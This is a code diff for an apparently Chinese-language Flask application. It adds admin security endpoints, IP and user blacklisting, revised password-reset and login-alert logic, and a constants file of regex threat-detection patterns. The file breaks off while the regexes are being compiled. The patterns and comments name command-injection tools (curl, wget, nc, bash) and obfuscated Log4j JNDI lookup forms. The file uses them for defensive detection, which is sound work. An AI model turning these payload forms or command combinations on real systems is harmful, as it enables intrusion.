recent_items = [_sanitize_threat_event(e) for e in recent if isinstance(e, dict)]
|
||||
except Exception:
|
||||
recent_items = []
|
||||
|
||||
return jsonify(
|
||||
{
|
||||
"threat_events_24h": int(threat_24h or 0),
|
||||
"banned_ip_count": len(banned_ips),
|
||||
"banned_user_count": len(banned_users),
|
||||
"recent_threat_events": recent_items,
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/threats", methods=["GET"])
|
||||
@admin_required
|
||||
def get_threat_events():
|
||||
"""
|
||||
获取威胁事件列表(分页)
|
||||
参数: page, per_page, severity, event_type
|
||||
"""
|
||||
page = _parse_int_arg("page", 1, min_value=1, max_value=100000)
|
||||
per_page = _parse_int_arg("per_page", 20, min_value=1, max_value=200)
|
||||
severity = (request.args.get("severity") or "").strip()
|
||||
event_type = (request.args.get("event_type") or "").strip()
|
||||
|
||||
filters: dict[str, Any] = {}
|
||||
if severity:
|
||||
filters["severity"] = severity
|
||||
if event_type:
|
||||
filters["event_type"] = event_type
|
||||
|
||||
data = security_db.get_threat_events_list(page, per_page, filters)
|
||||
items = data.get("items") or []
|
||||
data["items"] = [_sanitize_threat_event(e) for e in items if isinstance(e, dict)]
|
||||
return jsonify(data)
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/banned-ips", methods=["GET"])
|
||||
@admin_required
|
||||
def get_banned_ips():
|
||||
"""获取封禁IP列表"""
|
||||
items = blacklist.get_banned_ips()
|
||||
return jsonify({"count": len(items), "items": [_sanitize_ban_entry(x, kind="ip") for x in items]})
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/banned-users", methods=["GET"])
|
||||
@admin_required
|
||||
def get_banned_users():
|
||||
"""获取封禁用户列表"""
|
||||
items = blacklist.get_banned_users()
|
||||
return jsonify({"count": len(items), "items": [_sanitize_ban_entry(x, kind="user") for x in items]})
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/ban-ip", methods=["POST"])
|
||||
@admin_required
|
||||
def ban_ip():
|
||||
"""
|
||||
手动封禁IP
|
||||
参数: ip, reason, duration_hours(可选), permanent(可选)
|
||||
"""
|
||||
data = _parse_json()
|
||||
ip = str(data.get("ip") or "").strip()
|
||||
reason = str(data.get("reason") or "").strip()
|
||||
duration_hours_raw = data.get("duration_hours", 24)
|
||||
permanent = _parse_bool(data.get("permanent", False))
|
||||
|
||||
if not ip:
|
||||
return jsonify({"error": "ip不能为空"}), 400
|
||||
if not reason:
|
||||
return jsonify({"error": "reason不能为空"}), 400
|
||||
|
||||
try:
|
||||
duration_hours = max(1, int(duration_hours_raw))
|
||||
except Exception:
|
||||
duration_hours = 24
|
||||
|
||||
ok = blacklist.ban_ip(ip, reason, duration_hours=duration_hours, permanent=permanent)
|
||||
if not ok:
|
||||
return jsonify({"error": "封禁失败"}), 400
|
||||
return jsonify({"success": True})
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/unban-ip", methods=["POST"])
|
||||
@admin_required
|
||||
def unban_ip():
|
||||
"""解除IP封禁"""
|
||||
data = _parse_json()
|
||||
ip = str(data.get("ip") or "").strip()
|
||||
if not ip:
|
||||
return jsonify({"error": "ip不能为空"}), 400
|
||||
|
||||
ok = blacklist.unban_ip(ip)
|
||||
if not ok:
|
||||
return jsonify({"error": "未找到封禁记录"}), 404
|
||||
return jsonify({"success": True})
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/ban-user", methods=["POST"])
|
||||
@admin_required
|
||||
def ban_user():
|
||||
"""手动封禁用户"""
|
||||
data = _parse_json()
|
||||
user_id_raw = data.get("user_id")
|
||||
reason = str(data.get("reason") or "").strip()
|
||||
duration_hours_raw = data.get("duration_hours", 24)
|
||||
permanent = _parse_bool(data.get("permanent", False))
|
||||
|
||||
try:
|
||||
user_id = int(user_id_raw)
|
||||
except Exception:
|
||||
user_id = None
|
||||
|
||||
if user_id is None:
|
||||
return jsonify({"error": "user_id不能为空"}), 400
|
||||
if not reason:
|
||||
return jsonify({"error": "reason不能为空"}), 400
|
||||
|
||||
try:
|
||||
duration_hours = max(1, int(duration_hours_raw))
|
||||
except Exception:
|
||||
duration_hours = 24
|
||||
|
||||
ok = blacklist._ban_user_internal(user_id, reason=reason, duration_hours=duration_hours, permanent=permanent)
|
||||
if not ok:
|
||||
return jsonify({"error": "封禁失败"}), 400
|
||||
return jsonify({"success": True})
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/unban-user", methods=["POST"])
|
||||
@admin_required
|
||||
def unban_user():
|
||||
"""解除用户封禁"""
|
||||
data = _parse_json()
|
||||
user_id_raw = data.get("user_id")
|
||||
try:
|
||||
user_id = int(user_id_raw)
|
||||
except Exception:
|
||||
user_id = None
|
||||
|
||||
if user_id is None:
|
||||
return jsonify({"error": "user_id不能为空"}), 400
|
||||
|
||||
ok = blacklist.unban_user(user_id)
|
||||
if not ok:
|
||||
return jsonify({"error": "未找到封禁记录"}), 404
|
||||
return jsonify({"success": True})
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/ip-risk/<ip>", methods=["GET"])
|
||||
@admin_required
|
||||
def get_ip_risk(ip):
|
||||
"""获取指定IP的风险评分和历史事件"""
|
||||
ip_text = str(ip or "").strip()
|
||||
if not ip_text:
|
||||
return jsonify({"error": "ip不能为空"}), 400
|
||||
|
||||
history = security_db.get_ip_threat_history(ip_text)
|
||||
return jsonify(
|
||||
{
|
||||
"ip": _truncate(ip_text, 64),
|
||||
"risk_score": int(scorer.get_ip_score(ip_text) or 0),
|
||||
"is_banned": bool(blacklist.is_ip_banned(ip_text)),
|
||||
"threat_history": [_sanitize_threat_event(e) for e in history if isinstance(e, dict)],
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/user-risk/<int:user_id>", methods=["GET"])
|
||||
@admin_required
|
||||
def get_user_risk(user_id):
|
||||
"""获取指定用户的风险评分和历史事件"""
|
||||
history = security_db.get_user_threat_history(user_id)
|
||||
return jsonify(
|
||||
{
|
||||
"user_id": int(user_id),
|
||||
"risk_score": int(scorer.get_user_score(user_id) or 0),
|
||||
"is_banned": bool(blacklist.is_user_banned(user_id)),
|
||||
"threat_history": [_sanitize_threat_event(e) for e in history if isinstance(e, dict)],
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/cleanup", methods=["POST"])
|
||||
@admin_required
|
||||
def cleanup_expired():
|
||||
"""清理过期的封禁记录和衰减风险分"""
|
||||
try:
|
||||
blacklist.cleanup_expired()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
scorer.decay_scores()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 可选:返回当前连接池统计信息,便于排查后台运行状态
|
||||
pool_stats = None
|
||||
try:
|
||||
pool_stats = db_pool.get_pool_stats()
|
||||
except Exception:
|
||||
pool_stats = None
|
||||
|
||||
return jsonify({"success": True, "pool_stats": pool_stats})
|
||||
|
||||
@@ -237,23 +237,31 @@ def forgot_password():
|
||||
"""发送密码重置邮件"""
|
||||
data = request.json or {}
|
||||
email = data.get("email", "").strip().lower()
|
||||
username = data.get("username", "").strip()
|
||||
captcha_session = data.get("captcha_session", "")
|
||||
captcha_code = data.get("captcha", "").strip()
|
||||
|
||||
if not email:
|
||||
return jsonify({"error": "请输入邮箱"}), 400
|
||||
if not email and not username:
|
||||
return jsonify({"error": "请输入邮箱或用户名"}), 400
|
||||
|
||||
is_valid, error_msg = validate_email(email)
|
||||
if not is_valid:
|
||||
return jsonify({"error": error_msg}), 400
|
||||
if username:
|
||||
is_valid, error_msg = validate_username(username)
|
||||
if not is_valid:
|
||||
return jsonify({"error": error_msg}), 400
|
||||
|
||||
if email:
|
||||
is_valid, error_msg = validate_email(email)
|
||||
if not is_valid:
|
||||
return jsonify({"error": error_msg}), 400
|
||||
|
||||
client_ip = get_rate_limit_ip()
|
||||
allowed, error_msg = check_ip_request_rate(client_ip, "email")
|
||||
if not allowed:
|
||||
return jsonify({"error": error_msg}), 429
|
||||
allowed, error_msg = check_email_rate_limit(email, "forgot_password")
|
||||
if not allowed:
|
||||
return jsonify({"error": error_msg}), 429
|
||||
if email:
|
||||
allowed, error_msg = check_email_rate_limit(email, "forgot_password")
|
||||
if not allowed:
|
||||
return jsonify({"error": error_msg}), 429
|
||||
|
||||
success, message = safe_verify_and_consume_captcha(captcha_session, captcha_code)
|
||||
if not success:
|
||||
@@ -266,6 +274,34 @@ def forgot_password():
|
||||
if not email_settings.get("enabled", False):
|
||||
return jsonify({"error": "邮件功能未启用,请联系管理员"}), 400
|
||||
|
||||
if username:
|
||||
user = database.get_user_by_username(username)
|
||||
if user and user.get("status") == "approved":
|
||||
bound_email = (user.get("email") or "").strip()
|
||||
if not bound_email:
|
||||
return (
|
||||
jsonify(
|
||||
{
|
||||
"error": "您尚未绑定邮箱,无法通过邮箱找回密码。请联系管理员重置密码。",
|
||||
"code": "email_not_bound",
|
||||
}
|
||||
),
|
||||
400,
|
||||
)
|
||||
|
||||
allowed, error_msg = check_email_rate_limit(bound_email, "forgot_password")
|
||||
if not allowed:
|
||||
return jsonify({"error": error_msg}), 429
|
||||
|
||||
result = email_service.send_password_reset_email(
|
||||
email=bound_email,
|
||||
username=user["username"],
|
||||
user_id=user["id"],
|
||||
)
|
||||
if not result["success"]:
|
||||
logger.error(f"密码重置邮件发送失败: {result['error']}")
|
||||
return jsonify({"success": True, "message": "如果该账号已绑定邮箱,您将收到密码重置邮件"})
|
||||
|
||||
user = database.get_user_by_email(email)
|
||||
if user and user.get("status") == "approved":
|
||||
result = email_service.send_password_reset_email(email=email, username=user["username"], user_id=user["id"])
|
||||
@@ -317,46 +353,6 @@ def reset_password_confirm():
|
||||
return jsonify({"error": "密码重置失败"}), 500
|
||||
|
||||
|
||||
@api_auth_bp.route("/api/reset_password_request", methods=["POST"])
|
||||
def request_password_reset():
|
||||
"""用户申请重置密码(需要审核)"""
|
||||
data = request.json or {}
|
||||
username = data.get("username", "").strip()
|
||||
email = data.get("email", "").strip().lower()
|
||||
new_password = data.get("new_password", "").strip()
|
||||
|
||||
if not username or not new_password:
|
||||
return jsonify({"error": "用户名和新密码不能为空"}), 400
|
||||
|
||||
is_valid, error_msg = validate_password(new_password)
|
||||
if not is_valid:
|
||||
return jsonify({"error": error_msg}), 400
|
||||
|
||||
if email:
|
||||
is_valid, error_msg = validate_email(email)
|
||||
if not is_valid:
|
||||
return jsonify({"error": error_msg}), 400
|
||||
|
||||
client_ip = get_rate_limit_ip()
|
||||
allowed, error_msg = check_ip_request_rate(client_ip, "email")
|
||||
if not allowed:
|
||||
return jsonify({"error": error_msg}), 429
|
||||
if email:
|
||||
allowed, error_msg = check_email_rate_limit(email, "reset_request")
|
||||
if not allowed:
|
||||
return jsonify({"error": error_msg}), 429
|
||||
|
||||
user = database.get_user_by_username(username)
|
||||
|
||||
if user:
|
||||
if email and user.get("email") != email:
|
||||
pass
|
||||
else:
|
||||
database.create_password_reset_request(user["id"], new_password)
|
||||
|
||||
return jsonify({"message": "如果账号存在,密码重置申请已提交,请等待管理员审核"})
|
||||
|
||||
|
||||
@api_auth_bp.route("/api/generate_captcha", methods=["POST"])
|
||||
def generate_captcha():
|
||||
"""生成4位数字验证码图片"""
|
||||
@@ -481,15 +477,19 @@ def login():
|
||||
load_user_accounts(user["id"])
|
||||
|
||||
try:
|
||||
user_agent = request.headers.get("User-Agent", "")
|
||||
context = database.record_login_context(user["id"], client_ip, user_agent)
|
||||
if context and (context.get("new_ip") or context.get("new_device")):
|
||||
if config.LOGIN_ALERT_ENABLED and should_send_login_alert(user["id"], client_ip):
|
||||
user_info = database.get_user_by_id(user["id"]) or {}
|
||||
if user_info.get("email") and user_info.get("email_verified"):
|
||||
if database.get_user_email_notify(user["id"]):
|
||||
email_service.send_security_alert_email(
|
||||
email=user_info.get("email"),
|
||||
user_agent = request.headers.get("User-Agent", "")
|
||||
context = database.record_login_context(user["id"], client_ip, user_agent)
|
||||
if context and (context.get("new_ip") or context.get("new_device")):
|
||||
if (
|
||||
config.LOGIN_ALERT_ENABLED
|
||||
and should_send_login_alert(user["id"], client_ip)
|
||||
and email_service.get_email_settings().get("login_alert_enabled", True)
|
||||
):
|
||||
user_info = database.get_user_by_id(user["id"]) or {}
|
||||
if user_info.get("email") and user_info.get("email_verified"):
|
||||
if database.get_user_email_notify(user["id"]):
|
||||
email_service.send_security_alert_email(
|
||||
email=user_info.get("email"),
|
||||
username=user_info.get("username") or username,
|
||||
ip_address=client_ip,
|
||||
user_agent=user_agent,
|
||||
|
||||
@@ -14,11 +14,20 @@ def admin_required(f):
|
||||
|
||||
@wraps(f)
|
||||
def decorated_function(*args, **kwargs):
|
||||
logger = get_logger()
|
||||
try:
|
||||
logger = get_logger()
|
||||
except Exception:
|
||||
import logging
|
||||
|
||||
logger = logging.getLogger("app")
|
||||
logger.debug(f"[admin_required] 检查会话,admin_id存在: {'admin_id' in session}")
|
||||
if "admin_id" not in session:
|
||||
logger.warning(f"[admin_required] 拒绝访问 {request.path} - session中无admin_id")
|
||||
is_api = request.blueprint == "admin_api" or request.path.startswith("/yuyx/api")
|
||||
is_api = (
|
||||
request.blueprint in {"admin_api", "admin_security", "admin_security_yuyx"}
|
||||
or request.path.startswith("/yuyx/api")
|
||||
or request.path.startswith("/api/admin")
|
||||
)
|
||||
if is_api:
|
||||
return jsonify({"error": "需要管理员权限"}), 403
|
||||
return redirect(url_for("pages.admin_login_page"))
|
||||
|
||||
22
security/__init__.py
Normal file
22
security/__init__.py
Normal file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
from security.blacklist import BlacklistManager
|
||||
from security.honeypot import HoneypotResponder
|
||||
from security.middleware import init_security_middleware
|
||||
from security.response_handler import ResponseAction, ResponseHandler, ResponseStrategy
|
||||
from security.risk_scorer import RiskScorer
|
||||
from security.threat_detector import ThreatDetector, ThreatResult
|
||||
|
||||
__all__ = [
|
||||
"BlacklistManager",
|
||||
"HoneypotResponder",
|
||||
"init_security_middleware",
|
||||
"ResponseAction",
|
||||
"ResponseHandler",
|
||||
"ResponseStrategy",
|
||||
"RiskScorer",
|
||||
"ThreatDetector",
|
||||
"ThreatResult",
|
||||
]
|
||||
255
security/blacklist.py
Normal file
255
security/blacklist.py
Normal file
@@ -0,0 +1,255 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
import threading
|
||||
from datetime import timedelta
|
||||
from typing import List, Optional
|
||||
|
||||
import db_pool
|
||||
from db.utils import get_cst_now, get_cst_now_str
|
||||
|
||||
|
||||
class BlacklistManager:
|
||||
"""黑名单管理器"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self._schema_ready = False
|
||||
self._schema_lock = threading.Lock()
|
||||
|
||||
def is_ip_banned(self, ip: str) -> bool:
|
||||
"""检查IP是否被封禁"""
|
||||
ip_text = str(ip or "").strip()[:64]
|
||||
if not ip_text:
|
||||
return False
|
||||
now_str = get_cst_now_str()
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT 1
|
||||
FROM ip_blacklist
|
||||
WHERE ip = ?
|
||||
AND is_active = 1
|
||||
AND (expires_at IS NULL OR expires_at > ?)
|
||||
LIMIT 1
|
||||
""",
|
||||
(ip_text, now_str),
|
||||
)
|
||||
return cursor.fetchone() is not None
|
||||
|
||||
def is_user_banned(self, user_id: int) -> bool:
|
||||
"""检查用户是否被封禁"""
|
||||
if user_id is None:
|
||||
return False
|
||||
self._ensure_schema()
|
||||
user_id_int = int(user_id)
|
||||
now_str = get_cst_now_str()
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT 1
|
||||
FROM user_blacklist
|
||||
WHERE user_id = ?
|
||||
AND is_active = 1
|
||||
AND (expires_at IS NULL OR expires_at > ?)
|
||||
LIMIT 1
|
||||
""",
|
||||
(user_id_int, now_str),
|
||||
)
|
||||
return cursor.fetchone() is not None
|
||||
|
||||
def ban_ip(self, ip: str, reason: str, duration_hours: int = 24, permanent: bool = False):
|
||||
"""封禁IP"""
|
||||
ip_text = str(ip or "").strip()[:64]
|
||||
if not ip_text:
|
||||
return False
|
||||
reason_text = str(reason or "").strip()[:512]
|
||||
now_str = get_cst_now_str()
|
||||
|
||||
expires_at: Optional[str]
|
||||
if permanent:
|
||||
expires_at = None
|
||||
else:
|
||||
hours = max(1, int(duration_hours))
|
||||
expires_at = (get_cst_now() + timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO ip_blacklist (ip, reason, is_active, added_at, expires_at)
|
||||
VALUES (?, ?, 1, ?, ?)
|
||||
ON CONFLICT(ip) DO UPDATE SET
|
||||
reason = excluded.reason,
|
||||
is_active = 1,
|
||||
added_at = excluded.added_at,
|
||||
expires_at = excluded.expires_at
|
||||
""",
|
||||
(ip_text, reason_text, now_str, expires_at),
|
||||
)
|
||||
conn.commit()
|
||||
return True
|
||||
|
||||
def ban_user(self, user_id: int, reason: str):
|
||||
"""封禁用户"""
|
||||
return self._ban_user_internal(user_id, reason=reason, duration_hours=24, permanent=False)
|
||||
|
||||
def unban_ip(self, ip: str):
|
||||
"""解除IP封禁"""
|
||||
ip_text = str(ip or "").strip()[:64]
|
||||
if not ip_text:
|
||||
return False
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("UPDATE ip_blacklist SET is_active = 0 WHERE ip = ?", (ip_text,))
|
||||
conn.commit()
|
||||
return cursor.rowcount > 0
|
||||
|
||||
def unban_user(self, user_id: int):
|
||||
"""解除用户封禁"""
|
||||
if user_id is None:
|
||||
return False
|
||||
self._ensure_schema()
|
||||
user_id_int = int(user_id)
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("UPDATE user_blacklist SET is_active = 0 WHERE user_id = ?", (user_id_int,))
|
||||
conn.commit()
|
||||
return cursor.rowcount > 0
|
||||
|
||||
def get_banned_ips(self) -> List[dict]:
|
||||
"""获取所有被封禁的IP"""
|
||||
now_str = get_cst_now_str()
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT ip, reason, is_active, added_at, expires_at
|
||||
FROM ip_blacklist
|
||||
WHERE is_active = 1
|
||||
AND (expires_at IS NULL OR expires_at > ?)
|
||||
ORDER BY added_at DESC
|
||||
""",
|
||||
(now_str,),
|
||||
)
|
||||
return [dict(row) for row in cursor.fetchall()]
|
||||
|
||||
def get_banned_users(self) -> List[dict]:
|
||||
"""获取所有被封禁的用户"""
|
||||
self._ensure_schema()
|
||||
now_str = get_cst_now_str()
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT user_id, reason, is_active, added_at, expires_at
|
||||
FROM user_blacklist
|
||||
WHERE is_active = 1
|
||||
AND (expires_at IS NULL OR expires_at > ?)
|
||||
ORDER BY added_at DESC
|
||||
""",
|
||||
(now_str,),
|
||||
)
|
||||
return [dict(row) for row in cursor.fetchall()]
|
||||
|
||||
def cleanup_expired(self):
|
||||
"""清理过期的封禁记录"""
|
||||
now_str = get_cst_now_str()
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
UPDATE ip_blacklist
|
||||
SET is_active = 0
|
||||
WHERE is_active = 1
|
||||
AND expires_at IS NOT NULL
|
||||
AND expires_at <= ?
|
||||
""",
|
||||
(now_str,),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
self._ensure_schema()
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
UPDATE user_blacklist
|
||||
SET is_active = 0
|
||||
WHERE is_active = 1
|
||||
AND expires_at IS NOT NULL
|
||||
AND expires_at <= ?
|
||||
""",
|
||||
(now_str,),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
# ==================== Internal ====================
|
||||
|
||||
def _ensure_schema(self) -> None:
|
||||
if self._schema_ready:
|
||||
return
|
||||
with self._schema_lock:
|
||||
if self._schema_ready:
|
||||
return
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS user_blacklist (
|
||||
user_id INTEGER PRIMARY KEY,
|
||||
reason TEXT,
|
||||
is_active INTEGER DEFAULT 1,
|
||||
added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
expires_at TIMESTAMP
|
||||
)
|
||||
"""
|
||||
)
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
|
||||
conn.commit()
|
||||
self._schema_ready = True
|
||||
|
||||
def _ban_user_internal(
|
||||
self,
|
||||
user_id: int,
|
||||
*,
|
||||
reason: str,
|
||||
duration_hours: int = 24,
|
||||
permanent: bool = False,
|
||||
) -> bool:
|
||||
if user_id is None:
|
||||
return False
|
||||
self._ensure_schema()
|
||||
user_id_int = int(user_id)
|
||||
reason_text = str(reason or "").strip()[:512]
|
||||
now_str = get_cst_now_str()
|
||||
|
||||
expires_at: Optional[str]
|
||||
if permanent:
|
||||
expires_at = None
|
||||
else:
|
||||
hours = max(1, int(duration_hours))
|
||||
expires_at = (get_cst_now() + timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO user_blacklist (user_id, reason, is_active, added_at, expires_at)
|
||||
VALUES (?, ?, 1, ?, ?)
|
||||
ON CONFLICT(user_id) DO UPDATE SET
|
||||
reason = excluded.reason,
|
||||
is_active = 1,
|
||||
added_at = excluded.added_at,
|
||||
expires_at = excluded.expires_at
|
||||
""",
|
||||
(user_id_int, reason_text, now_str, expires_at),
|
||||
)
|
||||
conn.commit()
|
||||
return True
|
||||
|
||||
146
security/constants.py
Normal file
146
security/constants.py
Normal file
@@ -0,0 +1,146 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
|
||||
# ==================== Threat Types ====================
|
||||
|
||||
THREAT_TYPE_JNDI_INJECTION = "jndi_injection"
|
||||
THREAT_TYPE_NESTED_EXPRESSION = "nested_expression"
|
||||
THREAT_TYPE_SQL_INJECTION = "sql_injection"
|
||||
THREAT_TYPE_XSS = "xss"
|
||||
THREAT_TYPE_PATH_TRAVERSAL = "path_traversal"
|
||||
THREAT_TYPE_COMMAND_INJECTION = "command_injection"
|
||||
THREAT_TYPE_SSRF = "ssrf"
|
||||
THREAT_TYPE_XXE = "xxe"
|
||||
THREAT_TYPE_TEMPLATE_INJECTION = "template_injection"
|
||||
THREAT_TYPE_SENSITIVE_PATH_PROBE = "sensitive_path_probe"
|
||||
|
||||
|
||||
# ==================== Scores ====================
|
||||
|
||||
SCORE_JNDI_DIRECT = 100
|
||||
SCORE_JNDI_OBFUSCATED = 100
|
||||
SCORE_NESTED_EXPRESSION = 80
|
||||
SCORE_SQL_INJECTION = 90
|
||||
SCORE_XSS = 70
|
||||
SCORE_PATH_TRAVERSAL = 60
|
||||
SCORE_COMMAND_INJECTION = 85
|
||||
SCORE_SSRF = 75
|
||||
SCORE_XXE = 85
|
||||
SCORE_TEMPLATE_INJECTION = 70
|
||||
SCORE_SENSITIVE_PATH_PROBE = 40
|
||||
|
||||
|
||||
# ==================== JNDI (Log4j) ====================
|
||||
#
|
||||
# - Direct: ${jndi:ldap://...} / ${jndi:rmi://...} => 100
|
||||
# - Obfuscated: ${${xxx:-j}${xxx:-n}...:ldap://...} => detect
|
||||
# - Nested expression: ${${...}} => 80
|
||||
|
||||
JNDI_DIRECT_PATTERN = r"\$\{\s*jndi\s*:\s*(?:ldap|rmi)\s*://"
|
||||
|
||||
# Common Log4j "default value" obfuscation variants:
|
||||
# ${${::-j}${::-n}${::-d}${::-i}:ldap://...}
|
||||
# ${${foo:-j}${bar:-n}${baz:-d}${qux:-i}:rmi://...}
|
||||
JNDI_OBFUSCATED_PATTERN = (
|
||||
r"\$\{\s*"
|
||||
r"(?:\$\{[^{}]{0,50}:-j\}|\$\{::-[jJ]\})\s*"
|
||||
r"(?:\$\{[^{}]{0,50}:-n\}|\$\{::-[nN]\})\s*"
|
||||
r"(?:\$\{[^{}]{0,50}:-d\}|\$\{::-[dD]\})\s*"
|
||||
r"(?:\$\{[^{}]{0,50}:-i\}|\$\{::-[iI]\})\s*"
|
||||
r":\s*(?:ldap|rmi)\s*://"
|
||||
)
|
||||
|
||||
NESTED_EXPRESSION_PATTERN = r"\$\{\s*\$\{"
|
||||
|
||||
|
||||
# ==================== SQL Injection ====================
|
||||
|
||||
SQLI_UNION_SELECT_PATTERN = r"\bunion\b\s+(?:all\s+)?\bselect\b"
|
||||
SQLI_OR_1_EQ_1_PATTERN = r"\bor\b\s+1\s*=\s*1\b"
|
||||
|
||||
|
||||
# ==================== XSS ====================
|
||||
|
||||
XSS_SCRIPT_TAG_PATTERN = r"<\s*script\b"
|
||||
XSS_JS_PROTOCOL_PATTERN = r"javascript\s*:"
|
||||
XSS_INLINE_EVENT_HANDLER_PATTERN = r"\bon\w+\s*="
|
||||
|
||||
|
||||
# ==================== Path Traversal ====================
|
||||
|
||||
PATH_TRAVERSAL_PATTERN = r"(?:\.\./|\.\.\\)+"
|
||||
|
||||
|
||||
# ==================== Command Injection ====================
|
||||
|
||||
CMD_INJECTION_OPERATOR_WITH_CMD_PATTERN = (
|
||||
r"(?:;|&&|\|\||\|)\s*"
|
||||
r"(?:bash|sh|zsh|cmd|powershell|pwsh|curl|wget|nc|netcat|python|perl|ruby|php|node|cat|ls|id|whoami|uname|rm)\b"
|
||||
)
|
||||
CMD_INJECTION_SUBSHELL_PATTERN = r"(?:`[^`]{1,200}`|\$\([^)]{1,200}\))"
|
||||
|
||||
|
||||
# ==================== SSRF ====================
|
||||
|
||||
SSRF_LOCALHOST_URL_PATTERN = r"\bhttps?\s*:\s*//\s*(?:127\.0\.0\.1\b|localhost\b|0\.0\.0\.0\b)"
|
||||
SSRF_INTERNAL_IP_URL_PATTERN = r"\bhttps?\s*:\s*//\s*(?:10\.|192\.168\.|172\.(?:1[6-9]|2[0-9]|3[0-1])\.)"
|
||||
SSRF_DANGEROUS_PROTOCOL_PATTERN = r"\b(?:file|gopher|dict)\s*:\s*//"
|
||||
|
||||
|
||||
# ==================== XXE ====================
|
||||
|
||||
XXE_DOCTYPE_PATTERN = r"<!\s*doctype\b|\bdoctype\b"
|
||||
XXE_ENTITY_PATTERN = r"<!\s*entity\b|\bentity\b"
|
||||
XXE_SYSTEM_PUBLIC_PATTERN = r"\b(?:system|public)\b"
|
||||
|
||||
|
||||
# ==================== Template Injection ====================
|
||||
|
||||
TEMPLATE_JINJA_EXPR_PATTERN = r"\{\{\s*[^}]{0,200}\s*\}\}"
|
||||
TEMPLATE_JINJA_STMT_PATTERN = r"\{%\s*[^%]{0,200}\s*%\}"
|
||||
TEMPLATE_VELOCITY_DIRECTIVE_PATTERN = r"#\s*(?:set|if)\b"
|
||||
|
||||
|
||||
# ==================== Sensitive Path Probing ====================
|
||||
|
||||
SENSITIVE_PATH_DOTFILES_PATTERN = r"/\.(?:git|svn|env)(?:/|\b|$)"
|
||||
SENSITIVE_PATH_PROBE_PATTERN = r"/(?:actuator|phpinfo|wp-admin)(?:/|\b|$)"
|
||||
|
||||
|
||||
# ==================== Compiled Regex ====================
|
||||
|
||||
_FLAGS = re.IGNORECASE | re.MULTILINE
|
||||
|
||||
JNDI_DIRECT_RE = re.compile(JNDI_DIRECT_PATTERN, _FLAGS)
|
||||
JNDI_OBFUSCATED_RE = re.compile(JNDI_OBFUSCATED_PATTERN, _FLAGS)
|
||||
NESTED_EXPRESSION_RE = re.compile(NESTED_EXPRESSION_PATTERN, _FLAGS)
|
||||
|
||||
SQLI_UNION_SELECT_RE = re.compile(SQLI_UNION_SELECT_PATTERN, _FLAGS)
|
||||
SQLI_OR_1_EQ_1_RE = re.compile(SQLI_OR_1_EQ_1_PATTERN, _FLAGS)
|
||||
|
||||
XSS_SCRIPT_TAG_RE = re.compile(XSS_SCRIPT_TAG_PATTERN, _FLAGS)
|
||||
XSS_JS_PROTOCOL_RE = re.compile(XSS_JS_PROTOCOL_PATTERN, _FLAGS)
|
||||
XSS_INLINE_EVENT_HANDLER_RE = re.compile(XSS_INLINE_EVENT_HANDLER_PATTERN, _FLAGS)
|
||||
|
||||
PATH_TRAVERSAL_RE = re.compile(PATH_TRAVERSAL_PATTERN, _FLAGS)
|
||||
|
||||
CMD_INJECTION_OPERATOR_WITH_CMD_RE = re.compile(CMD_INJECTION_OPERATOR_WITH_CMD_PATTERN, _FLAGS)
|
||||
CMD_INJECTION_SUBSHELL_RE = re.compile(CMD_INJECTION_SUBSHELL_PATTERN, _FLAGS)
|
||||
|
||||
SSRF_LOCALHOST_URL_RE = re.compile(SSRF_LOCALHOST_URL_PATTERN, _FLAGS)
|
||||
